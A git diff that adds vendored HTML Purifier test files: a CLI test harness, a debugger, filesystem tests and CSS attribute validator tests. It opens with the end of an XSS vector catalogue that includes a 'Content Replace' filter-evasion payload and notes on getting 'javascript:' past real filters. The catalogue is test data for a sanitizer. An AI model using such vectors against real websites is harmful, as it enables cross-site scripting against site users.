+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>Content Replace</name>
+ <code>&lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;XSS&lt;/A&gt;</code>
+ <desc>Content replace as an attack vector (assuming &quot;http://www.google.com/&quot; is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector (&quot;java&amp;#x26;#x09;script:&quot; was converted into &quot;java&amp;#x09;script:&quot;.</desc>
+
+ <label>URL Obfuscation</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+</xss>
diff --git a/vendor/ezyang/htmlpurifier/tests/CliTestCase.php b/vendor/ezyang/htmlpurifier/tests/CliTestCase.php
new file mode 100644
index 000000000..0fc20ef05
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/CliTestCase.php
@@ -0,0 +1,88 @@
+<?php
+
+/**
+ * Implements an external test-case like RemoteTestCase that parses its
+ * output from XML returned by a command line call
+ */
+class CliTestCase
+{
+ public $_command;
+ public $_out = false;
+ public $_quiet = false;
+ public $_errors = array();
+ public $_size = false;
+ /**
+ * @param $command Command to execute to retrieve XML
+ * @param $xml Whether or not to suppress error messages
+ */
+ public function __construct($command, $quiet = false, $size = false)
+ {
+ $this->_command = $command;
+ $this->_quiet = $quiet;
+ $this->_size = $size;
+ }
+ public function getLabel()
+ {
+ return $this->_command;
+ }
+ public function run($reporter)
+ {
+ if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']');
+ return $this->_invokeCommand($this->_command, $reporter);
+ }
+ public function _invokeCommand($command, $reporter)
+ {
+ $xml = shell_exec($command);
+ if (! $xml) {
+ if (!$this->_quiet) {
+ $reporter->paintFail('Command did not have any output [' . $command . ']');
+ }
+ return false;
+ }
+ $parser = $this->_createParser($reporter);
+
+ set_error_handler(array($this, '_errorHandler'));
+ $status = $parser->parse($xml);
+ restore_error_handler();
+
+ if (! $status) {
+ if (!$this->_quiet) {
+ foreach ($this->_errors as $error) {
+ list($no, $str, $file, $line) = $error;
+ $reporter->paintFail("Error $no: $str on line $line of $file");
+ }
+ if (strlen($xml) > 120) {
+ $msg = substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50);
+ } else {
+ $msg = $xml;
+ }
+ $reporter->paintFail("Command produced malformed XML");
+ $reporter->paintFormattedMessage($msg);
+ }
+ return false;
+ }
+ return true;
+ }
+ public function _createParser($reporter)
+ {
+ $parser = new SimpleTestXmlParser($reporter);
+ return $parser;
+ }
+ public function getSize()
+ {
+ // This code properly does the dry run and allows for proper test
+ // case reporting but it's REALLY slow, so I don't recommend it.
+ if ($this->_size === false) {
+ $reporter = new SimpleReporter();
+ $this->_invokeCommand($this->_command . ' --dry', $reporter);
+ $this->_size = $reporter->getTestCaseCount();
+ }
+ return $this->_size;
+ }
+ public function _errorHandler($a, $b, $c, $d)
+ {
+ $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler()
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/Debugger.php b/vendor/ezyang/htmlpurifier/tests/Debugger.php
new file mode 100644
index 000000000..918320a44
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/Debugger.php
@@ -0,0 +1,164 @@
+<?php
+
+/**
+ * Debugging tools.
+ *
+ * This file gives a developer a set of tools useful for performing code
+ * consistency checks. This includes scoping code blocks to ensure that
+ * only the interesting iteration of a loop gets outputted, a paint()
+ * function that acts like var_dump() with pre tags, and conditional
+ * printing.
+ */
+
+/*
+TODO
+ * Integrate into SimpleTest so it tells us whether or not there were any
+ not cleaned up debug calls.
+ * Custom var_dump() that ignores blacklisted properties
+ * DEPRECATE AND REMOVE ALL CALLS!
+*/
+
+/**#@+
+ * Convenience global functions. Corresponds to method on Debugger.
+ */
+function paint($mixed)
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->paint($mixed);
+}
+function paintIf($mixed, $conditional)
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->paintIf($mixed, $conditional);
+}
+function paintWhen($mixed, $scopes = array())
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->paintWhen($mixed, $scopes);
+}
+function paintIfWhen($mixed, $conditional, $scopes = array())
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->paintIfWhen($mixed, $conditional, $scopes);
+}
+function addScope($id = false)
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->addScope($id);
+}
+function removeScope($id)
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->removeScope($id);
+}
+function resetScopes()
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->resetScopes();
+}
+function isInScopes($array = array())
+{
+ $Debugger =& Debugger::instance();
+ return $Debugger->isInScopes($array);
+}
+/**#@-*/
+
+
+/**
+ * The debugging singleton. Most interesting stuff happens here.
+ */
+class Debugger
+{
+
+ public $shouldPaint = false;
+ public $paints = 0;
+ public $current_scopes = array();
+ public $scope_nextID = 1;
+ public $add_pre = true;
+
+ public function Debugger()
+ {
+ $this->add_pre = !extension_loaded('xdebug');
+ }
+
+ public static function &instance() {
+ static $soleInstance = false;
+ if (!$soleInstance) $soleInstance = new Debugger();
+ return $soleInstance;
+ }
+
+ public function paintIf($mixed, $conditional)
+ {
+ if (!$conditional) return;
+ $this->paint($mixed);
+ }
+
+ public function paintWhen($mixed, $scopes = array())
+ {
+ if (!$this->isInScopes($scopes)) return;
+ $this->paint($mixed);
+ }
+
+ public function paintIfWhen($mixed, $conditional, $scopes = array())
+ {
+ if (!$conditional) return;
+ if (!$this->isInScopes($scopes)) return;
+ $this->paint($mixed);
+ }
+
+ public function paint($mixed)
+ {
+ $this->paints++;
+ if($this->add_pre) echo '<pre>';
+ var_dump($mixed);
+ if($this->add_pre) echo '</pre>';
+ }
+
+ public function addScope($id = false)
+ {
+ if ($id == false) {
+ $id = $this->scope_nextID++;
+ }
+ $this->current_scopes[$id] = true;
+ }
+
+ public function removeScope($id)
+ {
+ if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]);
+ }
+
+ public function resetScopes()
+ {
+ $this->current_scopes = array();
+ $this->scope_nextID = 1;
+ }
+
+ public function isInScopes($scopes = array())
+ {
+ if (empty($this->current_scopes)) {
+ return false;
+ }
+ if (!is_array($scopes)) {
+ $scopes = array($scopes);
+ }
+ foreach ($scopes as $scope_id) {
+ if (empty($this->current_scopes[$scope_id])) {
+ return false;
+ }
+ }
+ if (empty($scopes)) {
+ if ($this->scope_nextID == 1) {
+ return false;
+ }
+ for($i = 1; $i < $this->scope_nextID; $i++) {
+ if (empty($this->current_scopes[$i])) {
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php b/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php
new file mode 100644
index 000000000..8e2e21910
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/FSTools/FileSystemHarness.php
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * Test harness that sets up a filesystem sandbox for file-emulation
+ * functions to safely unit test in.
+ *
+ * @todo Make an automatic FSTools mock or something
+ */
+class FSTools_FileSystemHarness extends UnitTestCase
+{
+
+ protected $dir, $oldDir;
+
+ public function __construct()
+ {
+ parent::__construct();
+ $this->dir = 'tmp/' . md5(uniqid(rand(), true)) . '/';
+ mkdir($this->dir);
+ $this->oldDir = getcwd();
+
+ }
+
+ public function __destruct()
+ {
+ FSTools::singleton()->rmdirr($this->dir);
+ }
+
+ public function setup()
+ {
+ chdir($this->dir);
+ }
+
+ public function tearDown()
+ {
+ chdir($this->oldDir);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php b/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php
new file mode 100644
index 000000000..5952dcd57
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/FSTools/FileTest.php
@@ -0,0 +1,49 @@
+<?php
+
+require_once 'FSTools/FileSystemHarness.php';
+
+/**
+ * These are not really unit tests, just sanity checks of basic functionality.
+ */
+class FSTools_FileTest extends FSTools_FileSystemHarness
+{
+
+ public function test()
+ {
+ $name = 'test.txt';
+ $file = new FSTools_File($name);
+ $this->assertFalse($file->exists());
+ $file->write('foobar');
+ $this->assertTrue($file->exists());
+ $this->assertEqual($file->get(), 'foobar');
+ $file->delete();
+ $this->assertFalse($file->exists());
+ }
+
+ public function testGetNonExistent()
+ {
+ $name = 'notfound.txt';
+ $file = new FSTools_File($name);
+ $this->expectError();
+ $this->assertFalse($file->get());
+ }
+
+ public function testHandle()
+ {
+ $file = new FSTools_File('foo.txt');
+ $this->assertFalse($file->exists());
+ $file->open('w');
+ $this->assertTrue($file->exists());
+ $file->put('Foobar');
+ $file->close();
+ $file->open('r');
+ $this->assertIdentical('F', $file->getChar());
+ $this->assertFalse($file->eof());
+ $this->assertIdentical('oo', $file->read(2));
+ $this->assertIdentical('bar', $file->getLine());
+ $this->assertTrue($file->eof());
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php
new file mode 100644
index 000000000..d18c036c3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrCollectionsTest.php
@@ -0,0 +1,134 @@
+<?php
+
+Mock::generatePartial(
+ 'HTMLPurifier_AttrCollections',
+ 'HTMLPurifier_AttrCollections_TestForConstruct',
+ array('performInclusions', 'expandIdentifiers')
+);
+
+class HTMLPurifier_AttrCollectionsTest extends HTMLPurifier_Harness
+{
+
+ public function testConstruction()
+ {
+ generate_mock_once('HTMLPurifier_AttrTypes');
+
+ $collections = new HTMLPurifier_AttrCollections_TestForConstruct();
+
+ $types = new HTMLPurifier_AttrTypesMock();
+
+ $modules = array();
+
+ $modules['Module1'] = new HTMLPurifier_HTMLModule();
+ $modules['Module1']->attr_collections = array(
+ 'Core' => array(
+ 0 => array('Soup', 'Undefined'),
+ 'attribute' => 'Type',
+ 'attribute-2' => 'Type2',
+ ),
+ 'Soup' => array(
+ 'attribute-3' => 'Type3-old' // overwritten
+ )
+ );
+
+ $modules['Module2'] = new HTMLPurifier_HTMLModule();
+ $modules['Module2']->attr_collections = array(
+ 'Core' => array(
+ 0 => array('Brocolli')
+ ),
+ 'Soup' => array(
+ 'attribute-3' => 'Type3'
+ ),
+ 'Brocolli' => array()
+ );
+
+ $collections->__construct($types, $modules);
+ // this is without identifier expansion or inclusions
+ $this->assertIdentical(
+ $collections->info,
+ array(
+ 'Core' => array(
+ 0 => array('Soup', 'Undefined', 'Brocolli'),
+ 'attribute' => 'Type',
+ 'attribute-2' => 'Type2'
+ ),
+ 'Soup' => array(
+ 'attribute-3' => 'Type3'
+ ),
+ 'Brocolli' => array()
+ )
+ );
+
+ }
+
+ public function test_performInclusions()
+ {
+ generate_mock_once('HTMLPurifier_AttrTypes');
+
+ $types = new HTMLPurifier_AttrTypesMock();
+ $collections = new HTMLPurifier_AttrCollections($types, array());
+ $collections->info = array(
+ 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'),
+ 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'),
+ 'SubInclusion' => array('attr2' => 'Type')
+ );
+
+ $collections->performInclusions($collections->info['Core']);
+ $this->assertIdentical(
+ $collections->info['Core'],
+ array(
+ 'attr-original' => 'Type',
+ 'attr' => 'Type',
+ 'attr2' => 'Type'
+ )
+ );
+
+ // test recursive
+ $collections->info = array(
+ 'One' => array(0 => array('Two'), 'one' => 'Type'),
+ 'Two' => array(0 => array('One'), 'two' => 'Type')
+ );
+ $collections->performInclusions($collections->info['One']);
+ $this->assertIdentical(
+ $collections->info['One'],
+ array(
+ 'one' => 'Type',
+ 'two' => 'Type'
+ )
+ );
+
+ }
+
+ public function test_expandIdentifiers()
+ {
+ generate_mock_once('HTMLPurifier_AttrTypes');
+
+ $types = new HTMLPurifier_AttrTypesMock();
+ $collections = new HTMLPurifier_AttrCollections($types, array());
+
+ $attr = array(
+ 'attr1' => 'Color',
+ 'attr2*' => 'URI'
+ );
+ $c_object = new HTMLPurifier_AttrDef_HTML_Color();
+ $u_object = new HTMLPurifier_AttrDef_URI();
+
+ $types->setReturnValue('get', $c_object, array('Color'));
+ $types->setReturnValue('get', $u_object, array('URI'));
+
+ $collections->expandIdentifiers($attr, $types);
+
+ $u_object->required = true;
+ $this->assertIdentical(
+ $attr,
+ array(
+ 'attr1' => $c_object,
+ 'attr2' => $u_object
+ )
+ );
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php
new file mode 100644
index 000000000..b360f8449
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php
@@ -0,0 +1,28 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_AlphaValueTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_AlphaValue();
+
+ $this->assertDef('0');
+ $this->assertDef('1');
+ $this->assertDef('.2');
+
+ // clamping to [0.0, 1,0]
+ $this->assertDef('1.2', '1');
+ $this->assertDef('-3', '0');
+
+ $this->assertDef('0.0', '0');
+ $this->assertDef('1.0', '1');
+ $this->assertDef('000', '0');
+
+ $this->assertDef('asdf', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php
new file mode 100644
index 000000000..61952d660
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundPositionTest.php
@@ -0,0 +1,68 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_BackgroundPositionTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_BackgroundPosition();
+
+ // explicitly cited in spec
+ $this->assertDef('0% 0%');
+ $this->assertDef('100% 100%');
+ $this->assertDef('14% 84%');
+ $this->assertDef('2cm 1cm');
+ $this->assertDef('top');
+ $this->assertDef('left');
+ $this->assertDef('center');
+ $this->assertDef('right');
+ $this->assertDef('bottom');
+ $this->assertDef('left top');
+ $this->assertDef('center top');
+ $this->assertDef('right top');
+ $this->assertDef('left center');
+ $this->assertDef('right center');
+ $this->assertDef('left bottom');
+ $this->assertDef('center bottom');
+ $this->assertDef('right bottom');
+
+ // reordered due to internal impl details
+ $this->assertDef('top left', 'left top');
+ $this->assertDef('top center', 'top');
+ $this->assertDef('top right', 'right top');
+ $this->assertDef('center left', 'left');
+ $this->assertDef('center center', 'center');
+ $this->assertDef('center right', 'right');
+ $this->assertDef('bottom left', 'left bottom');
+ $this->assertDef('bottom center', 'bottom');
+ $this->assertDef('bottom right', 'right bottom');
+
+ // more cases from the defined syntax
+ $this->assertDef('1.32in 4ex');
+ $this->assertDef('-14% -84.65%');
+ $this->assertDef('-1in -4ex');
+ $this->assertDef('-1pc 2.3%');
+
+ // keyword mixing
+ $this->assertDef('3em top');
+ $this->assertDef('left 50%');
+
+ // fixable keyword mixing
+ $this->assertDef('top 3em', '3em top');
+ $this->assertDef('50% left', 'left 50%');
+
+ // whitespace collapsing
+ $this->assertDef('3em top', '3em top');
+ $this->assertDef("left\n \t foo ", 'left');
+
+ // invalid uses (we're going to be strict on these)
+ $this->assertDef('foo bar', false);
+ $this->assertDef('left left', 'left');
+ $this->assertDef('left right top bottom center left', 'left bottom');
+ $this->assertDef('0fr 9%', '9%');
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php
new file mode 100644
index 000000000..aa18d096b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BackgroundTest.php
@@ -0,0 +1,23 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_BackgroundTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $this->def = new HTMLPurifier_AttrDef_CSS_Background($config);
+
+ $valid = '#333 url("chess.png") repeat fixed 50% top';
+ $this->assertDef($valid);
+ $this->assertDef('url(\'chess.png\') #333 50% top repeat fixed', $valid);
+ $this->assertDef(
+ 'rgb(34, 56, 33) url(chess.png) repeat fixed top',
+ 'rgb(34,56,33) url("chess.png") repeat fixed top'
+ );
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php
new file mode 100644
index 000000000..9159e8dc4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/BorderTest.php
@@ -0,0 +1,21 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_BorderTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $this->def = new HTMLPurifier_AttrDef_CSS_Border($config);
+
+ $this->assertDef('thick solid red', 'thick solid #FF0000');
+ $this->assertDef('thick solid');
+ $this->assertDef('solid red', 'solid #FF0000');
+ $this->assertDef('1px solid #000');
+ $this->assertDef('1px solid rgb(0, 0, 0)', '1px solid rgb(0,0,0)');
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php
new file mode 100644
index 000000000..980bd9092
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ColorTest.php
@@ -0,0 +1,41 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_ColorTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Color();
+
+ $this->assertDef('#F00');
+ $this->assertDef('#fff');
+ $this->assertDef('#eeeeee');
+ $this->assertDef('#808080');
+ $this->assertDef('rgb(255, 0, 0)', 'rgb(255,0,0)'); // rm spaces
+ $this->assertDef('rgb(100%,0%,0%)');
+ $this->assertDef('rgb(50.5%,23.2%,43.9%)'); // decimals okay
+
+ $this->assertDef('#G00', false);
+ $this->assertDef('cmyk(40, 23, 43, 23)', false);
+ $this->assertDef('rgb(0%, 23, 68%)', false);
+
+ // clip numbers outside sRGB gamut
+ $this->assertDef('rgb(200%, -10%, 0%)', 'rgb(100%,0%,0%)');
+ $this->assertDef('rgb(256,-23,34)', 'rgb(255,0,34)');
+
+ // color keywords, of course
+ $this->assertDef('red', '#FF0000');
+
+ // malformed hex declaration
+ $this->assertDef('808080', '#808080');
+ $this->assertDef('000000', '#000000');
+ $this->assertDef('fed', '#fed');
+
+ // maybe hex transformations would be another nice feature
+ // at the very least transform rgb percent to rgb integer
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php
new file mode 100644
index 000000000..ab683e369
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/CompositeTest.php
@@ -0,0 +1,82 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_Composite_Testable extends
+ HTMLPurifier_AttrDef_CSS_Composite
+{
+
+ // we need to pass by ref to get the mocks in
+ public function HTMLPurifier_AttrDef_CSS_Composite_Testable(&$defs)
+ {
+ $this->defs =& $defs;
+ }
+
+}
+
+class HTMLPurifier_AttrDef_CSS_CompositeTest extends HTMLPurifier_AttrDefHarness
+{
+
+ protected $def1, $def2;
+
+ public function test()
+ {
+ generate_mock_once('HTMLPurifier_AttrDef');
+
+ $config = HTMLPurifier_Config::createDefault();
+ $context = new HTMLPurifier_Context();
+
+ // first test: value properly validates on first definition
+ // so second def is never called
+
+ $def1 = new HTMLPurifier_AttrDefMock();
+ $def2 = new HTMLPurifier_AttrDefMock();
+ $defs = array(&$def1, &$def2);
+ $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs);
+ $input = 'FOOBAR';
+ $output = 'foobar';
+ $def1_params = array($input, $config, $context);
+ $def1->expectOnce('validate', $def1_params);
+ $def1->setReturnValue('validate', $output, $def1_params);
+ $def2->expectNever('validate');
+
+ $result = $def->validate($input, $config, $context);
+ $this->assertIdentical($output, $result);
+
+ // second test, first def fails, second def works
+
+ $def1 = new HTMLPurifier_AttrDefMock();
+ $def2 = new HTMLPurifier_AttrDefMock();
+ $defs = array(&$def1, &$def2);
+ $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs);
+ $input = 'BOOMA';
+ $output = 'booma';
+ $def_params = array($input, $config, $context);
+ $def1->expectOnce('validate', $def_params);
+ $def1->setReturnValue('validate', false, $def_params);
+ $def2->expectOnce('validate', $def_params);
+ $def2->setReturnValue('validate', $output, $def_params);
+
+ $result = $def->validate($input, $config, $context);
+ $this->assertIdentical($output, $result);
+
+ // third test, all fail, so composite faiils
+
+ $def1 = new HTMLPurifier_AttrDefMock();
+ $def2 = new HTMLPurifier_AttrDefMock();
+ $defs = array(&$def1, &$def2);
+ $def = new HTMLPurifier_AttrDef_CSS_Composite_Testable($defs);
+ $input = 'BOOMA';
+ $output = false;
+ $def_params = array($input, $config, $context);
+ $def1->expectOnce('validate', $def_params);
+ $def1->setReturnValue('validate', false, $def_params);
+ $def2->expectOnce('validate', $def_params);
+ $def2->setReturnValue('validate', false, $def_params);
+
+ $result = $def->validate($input, $config, $context);
+ $this->assertIdentical($output, $result);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php
new file mode 100644
index 000000000..19b2d8d70
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FilterTest.php
@@ -0,0 +1,29 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_FilterTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_Filter();
+
+ $this->assertDef('none');
+
+ $this->assertDef('alpha(opacity=0)');
+ $this->assertDef('alpha(opacity=100)');
+ $this->assertDef('alpha(opacity=50)');
+ $this->assertDef('alpha(opacity=342)', 'alpha(opacity=100)');
+ $this->assertDef('alpha(opacity=-23)', 'alpha(opacity=0)');
+
+ $this->assertDef('alpha ( opacity = 0 )', 'alpha(opacity=0)');
+ $this->assertDef('alpha(opacity=0,opacity=100)', 'alpha(opacity=0)');
+
+ $this->assertDef('progid:DXImageTransform.Microsoft.Alpha(opacity=20)');
+
+ $this->assertDef('progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php
new file mode 100644
index 000000000..7f2fe0d0b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontFamilyTest.php
@@ -0,0 +1,53 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_FontFamilyTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $this->def = new HTMLPurifier_AttrDef_CSS_FontFamily();
+
+ $this->assertDef('Gill, Helvetica, sans-serif');
+ $this->assertDef("'Times New Roman', serif");
+ $this->assertDef("\"Times New Roman\"", "'Times New Roman'");
+ $this->assertDef('01234');
+ $this->assertDef(',', false);
+ $this->assertDef('Times New Roman, serif', "'Times New Roman', serif");
+ $this->assertDef($d = "'\xE5\xAE\x8B\xE4\xBD\x93'");
+ $this->assertDef("\xE5\xAE\x8B\xE4\xBD\x93", $d);
+ $this->assertDef("'\\01'", "''");
+ $this->assertDef("'\\20'", "' '");
+ $this->assertDef("\\0020", "' '");
+ $this->assertDef("'\\000045'", "E");
+ $this->assertDef("','", false);
+ $this->assertDef("',' foobar','", "' foobar'");
+ $this->assertDef("'\\000045a'", "Ea");
+ $this->assertDef("'\\00045 a'", "Ea");
+ $this->assertDef("'\\00045 a'", "'E a'");
+ $this->assertDef("'\\\nf'", "f");
+ // No longer supported, except maybe in NoJS mode (see source
+ // file for more explanation)
+ //$this->assertDef($d = '"John\'s Font"');
+ //$this->assertDef("John's Font", $d);
+ //$this->assertDef("'\\','f'", "\"\\5C \", f");
+ //$this->assertDef("'\\27'", "\"'\"");
+ //$this->assertDef('"\\22"', "\"\\22 \"");
+ //$this->assertDef('"\\""', "\"\\22 \"");
+ //$this->assertDef('"\'"', "\"'\"");
+ }
+
+ public function testAllowed()
+ {
+ $this->config->set('CSS.AllowedFonts', array('serif', 'Times New Roman'));
+
+ $this->assertDef('serif');
+ $this->assertDef('sans-serif', false);
+ $this->assertDef('serif, sans-serif', 'serif');
+ $this->assertDef('Times New Roman', "'Times New Roman'");
+ $this->assertDef("'Times New Roman'");
+ $this->assertDef('foo', false);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php
new file mode 100644
index 000000000..c52d164fa
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/FontTest.php
@@ -0,0 +1,34 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_FontTest extends HTMLPurifier_AttrDefHarness
+{
+
+ public function test()
+ {
+ $config = HTMLPurifier_Config::createDefault();
+ $this->def = new HTMLPurifier_AttrDef_CSS_Font($config);
+
+ // hodgepodge of usage cases from W3C spec, but " -> '
+ $this->assertDef('12px/14px sans-serif');
+ $this->assertDef('80% sans-serif');
+ $this->assertDef("x-large/110% 'New Century Schoolbook', serif");
+ $this->assertDef('bold italic large Palatino, serif');
+ $this->assertDef('normal small-caps 120%/120% fantasy');
+ $this->assertDef("300 italic 1.3em/1.7em 'FB Armada', sans-serif");
+ $this->assertDef('600 9px Charcoal');
+ $this->assertDef('600 9px/ 12px Charcoal', '600 9px/12px Charcoal');
+
+ // spacing
+ $this->assertDef('12px / 14px sans-serif', '12px/14px sans-serif');
+
+ // system fonts
+ $this->assertDef('menu');
+
+ $this->assertDef('800', false);
+ $this->assertDef('600 9px//12px Charcoal', false);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php
new file mode 100644
index 000000000..0aa9da4e1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/AttrDef/CSS/ImportantDecoratorTest.php
@@ -0,0 +1,56 @@
+<?php
+
+class HTMLPurifier_AttrDef_CSS_ImportantDecoratorTest extends HTMLPurifier_AttrDefHarness
+{
+
+ /** Mock AttrDef decorator is wrapping */
+ protected $mock;
+
+ public function setUp()
+ {
+ generate_mock_once('HTMLPurifier_AttrDef');
+ $this->mock = new HTMLPurifier_AttrDefMock();
+ $this->def = new HTMLPurifier_AttrDef_CSS_ImportantDecorator($this->mock, true);
+ }
+
+ protected function setMock($input, $output = null)
+ {
+ if ($output === null) $output = $input;
+ $this->mock->expectOnce('validate', array($input, $this->config, $this->context));
+ $this->mock->setReturnValue('validate', $output);
+ }
+
+ public function testImportant()
+ {
+ $this->setMock('23');
+ $this->assertDef('23 !important');
+ }
+
+ public function testImportantInternalDefChanged()
+ {
+ $this->setMock('23', '24');
